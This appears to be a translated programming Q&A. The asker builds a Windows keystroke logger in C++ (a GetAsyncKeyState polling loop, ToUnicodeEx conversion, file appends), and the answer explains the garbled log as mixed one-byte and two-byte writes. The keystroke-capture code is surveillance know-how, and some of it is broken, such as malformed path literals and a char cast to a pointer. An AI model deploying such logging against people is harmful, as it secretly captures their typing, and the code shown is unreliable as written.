如何修复这些编码?

How do I fix these encodings?

我正在制作一个程序来捕获用户输入的所有键并将它们保存到一个文件中。

有一个问题让我很困惑。有时当我打开文本文件时,它似乎全是 Unicode。

我输入了俄语字符,它们是正确的。

但是,有时文件是正常格式。

这会将密钥转换为 Unicode:

void writeScannedKey(unsigned char key)
{
    HWND windowHandle{ GetForegroundWindow() };
    DWORD threadID{ GetWindowThreadProcessId(windowHandle, NULL) };

    BYTE *keyState{ (BYTE*)malloc(256) };
    GetKeyboardState(keyState);

    HKL hkl{ GetKeyboardLayout(threadID) };

    wchar_t uniChar[16]{ 0 };

    UINT virtualKey{ (MapVirtualKeyEx(key, MAPVK_VK_TO_CHAR, hkl)) };

    ToUnicodeEx(virtualKey, key, keyState, uniChar, 16, 0, hkl);

    writeLog(uniChar);

    free(keyState);
}

程序循环(writeScannedKey()就是上面的函数):

while (true)
{
    for (key = 8; key <= 222; ++key)
    {
        if (GetAsyncKeyState(key) == -32767)
        {
            if ((key >= 39) && (key < 91))
            {
                writeScannedKey(key);
                break;
            }

            if (isShitKey(key) == FALSE)
                writeLog4(key);
        }
    }
}

我有 3 个不同的函数,它们接受彼此不同的数据类型(我知道,这很糟糕)。 WriteLog4函数是我用来将普通字符写入文件的函数,writeLog2用于打印例如ALT键, RWin 键等 & writeLog 是从 writeScannedKey() 函数调用的函数。

void writeLog(TCHAR *text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\.\" + g_takePath + "\" + name };
    
    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);

    CloseHandle(file);
}

void writeLog2(LPCSTR text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\.\" + g_takePath + "\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, text, lstrlenA(text) * sizeof(char), NULL, NULL);

    CloseHandle(file);
}

void writeLog4(unsigned char text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\.\" + g_takePath + "\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);

    CloseHandle(file);
}

当你使用writeScannedKey函数时,以下代码都是向文件写入两个字节

 WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);

但是当你使用writeLog4函数时,一次只写入一个字节:

WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);

当您使用UTF-16编码读取文件时,两个字节被读取为一个字符,单个字节将与后续字节组合,然后显示错误字符。